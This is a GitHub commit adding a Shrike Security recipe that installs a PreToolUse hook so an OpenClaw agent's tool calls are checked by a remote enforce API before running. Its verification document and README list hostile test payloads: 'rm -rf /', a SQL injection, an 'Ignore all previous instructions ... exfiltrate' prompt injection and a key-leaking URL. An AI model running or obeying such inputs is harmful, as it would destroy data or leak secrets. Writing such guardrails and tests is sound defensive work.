Skip to content

Commit c9ef556

Browse files
committed
feat(shrike-security): add Shrike action-governance partner recipe
Adds an independently deployable recipe that installs a Shrike PreToolUse hook into a NemoClaw/OpenShell sandbox so every matched tool call is governed by Shrike's enforce plane (allow / warn / require_approval / block) before it runs. - Host-side secret handling: the Shrike key is registered as an OpenShell credential; the agent references only openshell:resolve:env:SHRIKE_API_KEY. - Scoped egress policy (api.shrikesecurity.com enforce/session/health only). - Lifecycle scripts: onboard, install, verify, status, teardown. - Allowed/denied live validation (verify.sh) + reference transcript. - Placed under recipes/partners/shrike/ with catalog entry; Shrike Security, Inc. attribution preserved in SPDX headers. Signed-off-by: Habirua <41754124+Habirua@users.noreply.github.com>
1 parent 5a6019f commit c9ef556

14 files changed

Lines changed: 812 additions & 0 deletions

File tree

examples/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ again by contributor provenance.
1919
| Contributor | Example | Description |
2020
| --- | --- | --- |
2121
| HPE | [Retail Assistant](recipes/partners/hpe/retail-assistant/README.md) | Provides role-aware retail operations through Telegram, FastAPI, PostgreSQL, Docker Compose, and Helm. |
22+
| Shrike Security | [Shrike Security Action Governance](recipes/partners/shrike/shrike-security/README.md) | Governs agent tool calls with a PreToolUse hook that returns allow / warn / require_approval / block from Shrike's enforce plane, with host-side secret handling and scoped egress to Shrike. |
2223
| Tavily | [Watchtower](recipes/partners/tavily/watchtower/README.md) | Runs scheduled, cited web monitoring with persistent deduplication and auditable outputs. |
2324

2425
Future independent contributions without formal organizational provenance
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Shrike Security recipe — copy to .env and fill in. Never commit .env.
2+
#
3+
# The Shrike key is read by scripts/onboard.sh ONLY to create the gateway-side
4+
# OpenShell provider (one `openshell provider create` call). It is never
5+
# exported into the sandbox or the agent environment — the agent references the
6+
# placeholder `openshell:resolve:env:SHRIKE_API_KEY`, resolved by the L7 proxy
7+
# on egress.
8+
# Get a key (free tier available) at https://shrikesecurity.com/signup
9+
SHRIKE_API_KEY=
10+
11+
# Inference provider for the OpenClaw agent. 'build' uses NVIDIA-hosted
12+
# endpoints (https://build.nvidia.com); 'custom' uses any OpenAI-compatible
13+
# endpoint. See scripts/onboard.sh for the variables each path requires.
14+
NEMOCLAW_PROVIDER=build
15+
NVIDIA_INFERENCE_API_KEY=
16+
17+
# Optional overrides:
18+
# NEMOCLAW_SANDBOX_NAME=shrike-security
19+
# SHRIKE_PROFILE_ID=nemoclaw-shrike # v2 provider-profile id (providers/shrike.yaml)
20+
# SHRIKE_PROVIDER_NAME=shrike-security-shrike # provider instance name
21+
# SHRIKE_FAIL_MODE=closed # closed (default) = deny on enforce error; open = allow
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
.env
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. -->
2+
<!-- SPDX-FileCopyrightText: Copyright (c) 2026, Shrike Security, Inc. All rights reserved. -->
3+
<!-- SPDX-License-Identifier: Apache-2.0 -->
4+
5+
# Shrike Security — Agent Action Governance
6+
7+
Govern what an OpenClaw agent is allowed to **do**. This recipe installs a
8+
Shrike PreToolUse hook into a NemoClaw/OpenShell sandbox so every matched tool
9+
call is evaluated by Shrike's enforce plane before it runs, and denied when the
10+
verdict is `block` or `require_approval`.
11+
12+
OpenShell contains *where* an agent can act (network, filesystem, syscalls).
13+
Shrike governs *what* a specific action is — a benign shell command is allowed;
14+
a destructive command, a SQL injection, an injected instruction, or a secret
15+
exfiltration attempt is denied — with the decision made server-side against
16+
organizational policy and returned as `allow` / `warn` / `require_approval` /
17+
`block`. The two compose: the sandbox is the cage, Shrike is the judgment.
18+
19+
## Intended users and support boundary
20+
21+
For operators running OpenClaw agents inside NemoClaw who want an action-level
22+
policy decision on tool calls without building approval logic into each agent.
23+
24+
**Support boundary.** This is a community-maintained recipe contributed by
25+
Shrike Security, Inc. It is provided as-is under Apache-2.0. Product/API
26+
questions: <https://shrikesecurity.com>. Recipe issues: open a GitHub issue on
27+
this repository identifying the example. It is not covered by an NVIDIA support
28+
agreement.
29+
30+
## Data-sharing boundary (read before enabling)
31+
32+
When the hook evaluates an action, the **action content** — the shell command,
33+
SQL text, file-write body, web-search target, or message content of the matched
34+
tool call — is transmitted over TLS to `api.shrikesecurity.com` for evaluation.
35+
A decision and a short reason are returned; no other sandbox data is sent. If no
36+
Shrike credential is configured, the hook cannot obtain a verdict and (by
37+
default) denies the action fail-closed — nothing is transmitted without a key.
38+
Retention, GDPR/CCPA, and data-deletion posture: <https://shrikesecurity.com/privacy>.
39+
40+
Do not enable this recipe on a workload whose tool-call content must never leave
41+
the sandbox.
42+
43+
## Provenance
44+
45+
Contributed by **Shrike Security, Inc.** Attribution is preserved in the SPDX
46+
headers of every file. Shrike Security authored the hook, policy, and lifecycle
47+
scripts; the recipe targets the public NemoClaw/OpenShell CLIs.
48+
49+
## Prerequisites and supported environments
50+
51+
- NemoClaw installed with a working OpenShell gateway (`nemoclaw`, `openshell`
52+
on `PATH`). Install: `curl -fsSL https://www.nvidia.com/nemoclaw.sh | NEMOCLAW_ACCEPT_THIRD_PARTY_SOFTWARE=1 bash`
53+
- An inference provider (NVIDIA-hosted `build` endpoints, or any OpenAI-compatible endpoint).
54+
- A Shrike API key (free tier available): <https://shrikesecurity.com/signup>
55+
- `bash`, `node`, and `curl` available in the sandbox (present in the OpenClaw runtime).
56+
- Verified on macOS (arm64) and Linux hosts with a CPU-only OpenShell gateway.
57+
58+
## Architecture and major components
59+
60+
```
61+
OpenClaw agent --(tool call)--> PreToolUse hook --(action content)--> Shrike enforce
62+
| | |
63+
| | allow/warn -> allow | server-side
64+
| <---------- decision ------------+ block/require_approval -> deny | 9-layer policy
65+
```
66+
67+
- `hooks/shrike-preaction-hook.mjs` — classifies the action (sql / command /
68+
file_write / web_search / general), calls the enforce plane, maps the verdict
69+
to an OpenClaw permission decision. Fail-closed by default.
70+
- `providers/shrike.yaml` — OpenShell v2 provider profile: declares the
71+
`SHRIKE_API_KEY` bearer credential and scopes egress to
72+
`api.shrikesecurity.com` with `enforcement: enforce`. Imported at onboard time.
73+
- `agents.yaml` — keeps the full toolset; governance is at the hook, not by
74+
removing tools.
75+
- `scripts/``onboard.sh`, `install.sh`, `verify.sh`, `status.sh`, `teardown.sh`.
76+
77+
## Credential and secret handling
78+
79+
`onboard.sh` imports the v2 provider profile (`providers/shrike.yaml`) and
80+
creates a provider instance with `openshell provider create`, supplying
81+
`SHRIKE_API_KEY` to the **gateway** once through a clean sub-environment. The
82+
sandboxed agent and hook reference only the placeholder
83+
`openshell:resolve:env:SHRIKE_API_KEY`; the OpenShell L7 proxy substitutes the
84+
real value on egress to `api.shrikesecurity.com`. The raw key is never written
85+
into the sandbox environment, filesystem, or agent context. `.env` holds the key
86+
on the host only (for the one `provider create` call) and is git-ignored.
87+
88+
## Setup and configuration
89+
90+
```bash
91+
cp .env.example .env # set SHRIKE_API_KEY + your inference provider vars
92+
bash scripts/onboard.sh # import provider profile + create provider (key held gateway-side) + onboard sandbox
93+
bash scripts/install.sh # install the PreToolUse hook into the sandbox
94+
```
95+
96+
Overridable knobs (in `.env`): `NEMOCLAW_SANDBOX_NAME`, `SHRIKE_PROFILE_ID`,
97+
`SHRIKE_PROVIDER_NAME`, `SHRIKE_FAIL_MODE` (`closed` default = deny on enforce
98+
error; `open` = allow).
99+
100+
## Sandbox, network, and policy permissions
101+
102+
The provider profile (`providers/shrike.yaml`) scopes egress to
103+
`api.shrikesecurity.com:443` with `enforcement: enforce` and permits `curl` +
104+
`node` for the hook. The Shrike enforce API itself accepts only the
105+
`/agent/api/scan/enforce[/specialized]`, `/agent/api/session/status`, and
106+
`/health` paths. No other network destination is reachable from the sandbox.
107+
108+
## Startup behavior
109+
110+
Governance is active as soon as `install.sh` registers the PreToolUse hook —
111+
there is no long-running service to start. Every matched tool call is evaluated
112+
inline before it executes.
113+
114+
## Verification steps and expected results
115+
116+
```bash
117+
bash scripts/verify.sh
118+
```
119+
120+
Drives the installed hook with representative payloads and asserts:
121+
122+
| Action | Expected |
123+
| --- | --- |
124+
| Benign shell command (`ls -la`) | **allow** |
125+
| Destructive command (`rm -rf /`) | **deny** |
126+
| SQL injection (`... OR 1=1; DROP TABLE`) | **deny** |
127+
| Prompt injection (ignore-instructions + exfil) | **deny** |
128+
| Secret exfiltration (key in URL) | **deny** |
129+
130+
`scripts/verify.sh` exits `0` only when every case matches. A full transcript of
131+
a real run is in [docs/verify-functionality.md](docs/verify-functionality.md).
132+
Inspect wiring any time with `bash scripts/status.sh`.
133+
134+
## Teardown and cleanup
135+
136+
```bash
137+
bash scripts/teardown.sh # remove hook + Shrike provider/profile + sandbox
138+
KEEP_SANDBOX=1 bash scripts/teardown.sh # only un-wire Shrike; keep the sandbox
139+
```
140+
141+
Teardown-safe: leaves no service or credential active.
142+
143+
## Known limitations
144+
145+
- The hook governs **matched tool calls**; content the agent never routes
146+
through a tool is out of scope (that is OpenShell's containment layer's job).
147+
- Enforce adds a network round-trip per governed action (typically well under a
148+
second warm). `SHRIKE_FAIL_MODE=open` trades containment for availability if
149+
the enforce plane is unreachable.
150+
- Action classification is heuristic by tool/field shape; unusual tool schemas
151+
fall back to the general enforce path.
152+
153+
## Third-party dependencies and license obligations
154+
155+
No new third-party libraries are added by this recipe. It uses the NemoClaw and
156+
OpenShell CLIs, `node`, and `curl`, all already present in the runtime. The
157+
recipe is licensed under Apache-2.0. The Shrike service it calls is operated by
158+
Shrike Security, Inc. under its own terms (<https://shrikesecurity.com>).
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
2+
# SPDX-FileCopyrightText: Copyright (c) 2026, Shrike Security, Inc. All rights reserved.
3+
# SPDX-License-Identifier: Apache-2.0
4+
#
5+
# Agent manifest for the Shrike governance recipe.
6+
#
7+
# Shrike governs at the ACTION boundary via the PreToolUse hook (see
8+
# install.sh), not by removing tools from the agent. The agent keeps its full
9+
# toolset; every matched call is evaluated by Shrike before it runs and denied
10+
# when the verdict is block / require_approval. This keeps the recipe a drop-in
11+
# governance layer over whatever workflow the operator runs.
12+
main:
13+
tools: {}
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. -->
2+
<!-- SPDX-FileCopyrightText: Copyright (c) 2026, Shrike Security, Inc. All rights reserved. -->
3+
<!-- SPDX-License-Identifier: Apache-2.0 -->
4+
5+
# Verifying Shrike governance
6+
7+
This is the allowed/denied validation for the recipe: the installed PreToolUse
8+
hook must **allow** a benign action and **deny** malicious ones. Run it with:
9+
10+
```bash
11+
bash scripts/verify.sh
12+
```
13+
14+
## What the check does
15+
16+
For each case, `verify.sh` pipes a representative `PreToolUse` payload into the
17+
installed hook inside the sandbox (`openshell sandbox exec ... node
18+
shrike-preaction-hook.mjs`) and reads back the `permissionDecision`. The hook
19+
sends the action content to `api.shrikesecurity.com` using the host-side
20+
credential placeholder and maps the returned verdict:
21+
`allow`/`warn`**allow**, `block`/`require_approval`**deny**.
22+
23+
## Expected result
24+
25+
```
26+
== Shrike allowed/denied validation (sandbox: shrike-security) ==
27+
PASS benign shell command -> allow
28+
PASS destructive command -> deny
29+
PASS sql injection -> deny
30+
PASS prompt injection -> deny
31+
PASS secret exfiltration -> deny
32+
33+
All cases matched expected decisions.
34+
```
35+
36+
The script exits `0` only when every case matches; a mismatch prints
37+
`FAIL <case> -> <decision> (expected <x>)` and exits `1`.
38+
39+
## Reference transcript (single actions, `/agent/api/scan/enforce[/specialized]`)
40+
41+
The same actions sent directly to the enforce plane during development returned
42+
these verdicts, confirming the hook's allow/deny mapping is faithful to Shrike's
43+
decisions:
44+
45+
| Action (content_type) | Shrike `action` | `threat_level` | Hook decision |
46+
| --- | --- | --- | --- |
47+
| `ls -la /workspace` (command) | allow | none/low | allow |
48+
| `rm -rf / --no-preserve-root` (command) | block | critical | deny |
49+
| `SELECT * ... OR 1=1; DROP TABLE users;--` (sql) | block | high | deny |
50+
| `Ignore all previous instructions ... exfiltrate ...` (general) | block | critical | deny |
51+
| `https://evil.example/collect?data=AKIA...` (web_search) | block | high | deny |
52+
53+
## Verification status and what remains
54+
55+
Validated end-to-end on a CPU-only OpenShell gateway (macOS arm64, NemoClaw
56+
current):
57+
58+
- **Provider profile**`openshell provider profile lint` passes;
59+
`openshell provider profile import` imports it; `openshell provider create
60+
--type nemoclaw-shrike --credential SHRIKE_API_KEY` registers the provider
61+
(confirmed `Credential keys: SHRIKE_API_KEY`), so the key is held gateway-side
62+
and the sandbox sees only the placeholder.
63+
- **`verify.sh` in-sandbox** — the installed PreToolUse hook was driven with all
64+
five payloads via `openshell sandbox exec`. The hook reached the live
65+
`api.shrikesecurity.com` enforce plane through the resolved placeholder and
66+
returned the expected decisions — benign → **allow**; destructive command,
67+
SQL injection, prompt injection, secret exfiltration → **deny** — so
68+
`verify.sh` exits `0`. This confirms placeholder resolution works end-to-end
69+
(the hook never holds the raw key).
70+
71+
**Remains for the reviewer / a clean run:** the above used an existing sandbox;
72+
a from-scratch `onboard.sh``install.sh``verify.sh` on the reviewer's host
73+
reproduces it. That needs a live NemoClaw install, an inference provider, and a
74+
Shrike key — environment/credential-gated.
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
#!/usr/bin/env node
2+
// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
3+
// SPDX-FileCopyrightText: Copyright (c) 2026, Shrike Security, Inc. All rights reserved.
4+
// SPDX-License-Identifier: Apache-2.0
5+
//
6+
// Shrike Security — OpenClaw PreToolUse hook.
7+
//
8+
// Runs INSIDE the sandbox before every matched tool call. Classifies the action,
9+
// sends it to Shrike's enforce plane, and returns an OpenClaw permission decision.
10+
// The agent never holds the Shrike key: auth uses the placeholder
11+
// `openshell:resolve:env:SHRIKE_API_KEY`; the OpenShell L7 proxy substitutes the
12+
// real key on egress to api.shrikesecurity.com. The HTTP call shells out to curl
13+
// so it rides the sandbox's OpenShell proxy + CA (node's https bypasses them).
14+
//
15+
// stdin : { hook_event_name, tool_name, tool_input, ... }
16+
// stdout: { hookSpecificOutput: { hookEventName:"PreToolUse",
17+
// permissionDecision:"allow"|"deny", permissionDecisionReason } }
18+
import fs from 'node:fs';
19+
import { execFileSync } from 'node:child_process';
20+
21+
// Fail mode when a verdict can't be obtained. Shrike is fail-closed by brand,
22+
// so default to deny; operators can set SHRIKE_FAIL_MODE=open for availability
23+
// (the OpenShell network policy still contains egress either way).
24+
const FAIL_MODE = (process.env.SHRIKE_FAIL_MODE || 'closed').toLowerCase();
25+
const BASE = 'https://api.shrikesecurity.com/agent';
26+
27+
function emit(decision, reason) {
28+
process.stdout.write(JSON.stringify({
29+
hookSpecificOutput: {
30+
hookEventName: 'PreToolUse',
31+
permissionDecision: decision, // "allow" | "deny"
32+
permissionDecisionReason: reason,
33+
},
34+
}) + '\n');
35+
process.exit(0);
36+
}
37+
38+
let ev = {};
39+
try { ev = JSON.parse(fs.readFileSync(0, 'utf8') || '{}'); }
40+
catch { emit('allow', 'Shrike: unparseable hook payload — passing through'); }
41+
42+
const tool = (ev.tool_name || ev.toolName || '').toLowerCase();
43+
const input = ev.tool_input || ev.toolInput || {};
44+
45+
// Route the action to the right Shrike scanner by tool/content shape.
46+
// Specialized endpoint applies proper context (SQL vs command vs file), which
47+
// the general /enforce (prompt-shaped) does not.
48+
function route() {
49+
if (input.sql || /sql|query|database|\bdb\b/.test(tool)) {
50+
return { path: '/api/scan/enforce/specialized', body: { content: String(input.sql || input.query || input.command || ''), content_type: 'sql' } };
51+
}
52+
if (input.command || input.cmd || /exec|bash|shell|command|terminal|run/.test(tool)) {
53+
return { path: '/api/scan/enforce/specialized', body: { content: String(input.command || input.cmd || ''), content_type: 'command' } };
54+
}
55+
if ((input.file_text || input.content) && (input.path || input.file_path || /write|edit|create.?file|save/.test(tool))) {
56+
return { path: '/api/scan/enforce/specialized', body: { content: String(input.file_text || input.content || ''), content_type: 'file_write' } };
57+
}
58+
if (input.url || /web.?search|fetch|browse|http/.test(tool)) {
59+
return { path: '/api/scan/enforce/specialized', body: { content: String(input.url || input.query || ''), content_type: 'web_search' } };
60+
}
61+
// Fallback: general enforce over whatever content we can see.
62+
const content = input.content || input.text || input.prompt ||
63+
(Object.keys(input).length ? JSON.stringify(input) : String(ev.prompt || ''));
64+
return { path: '/api/scan/enforce', body: { prompt: String(content), scan_type: 'full' } };
65+
}
66+
67+
const r = route();
68+
if (r.body.content === '' && r.body.content_type !== 'sql' && !r.body.prompt) {
69+
emit('allow', 'Shrike: no action content to evaluate');
70+
}
71+
r.body.context = { source: 'nemoclaw-preaction-hook', tool };
72+
73+
let out;
74+
try {
75+
out = execFileSync('curl', [
76+
'-s', '--max-time', '12', '--connect-timeout', '6',
77+
'-X', 'POST', BASE + r.path,
78+
'-H', 'Content-Type: application/json',
79+
'-H', 'Authorization: Bearer openshell:resolve:env:SHRIKE_API_KEY',
80+
'-d', JSON.stringify(r.body),
81+
], { encoding: 'utf8', timeout: 15000 });
82+
} catch (e) {
83+
emit(FAIL_MODE === 'open' ? 'allow' : 'deny',
84+
`Shrike enforce unreachable (${(e && e.message) || 'error'}) — fail-${FAIL_MODE}`);
85+
}
86+
87+
let resp = {};
88+
try { resp = JSON.parse(out); } catch {}
89+
const action = (resp.action || '').toLowerCase();
90+
if (action === 'allow' || action === 'warn') {
91+
emit('allow', `Shrike: ${action} (${resp.threat_level || 'none'})`);
92+
} else if (action === 'block' || action === 'require_approval') {
93+
const why = (resp.recovery && resp.recovery.instruction) ||
94+
`Blocked by Shrike action governance (${resp.threat_level || 'policy'}).`;
95+
emit('deny', why);
96+
} else {
97+
emit(FAIL_MODE === 'open' ? 'allow' : 'deny',
98+
`Shrike: no decision — fail-${FAIL_MODE}`);
99+
}

0 commit comments

Comments
 (0)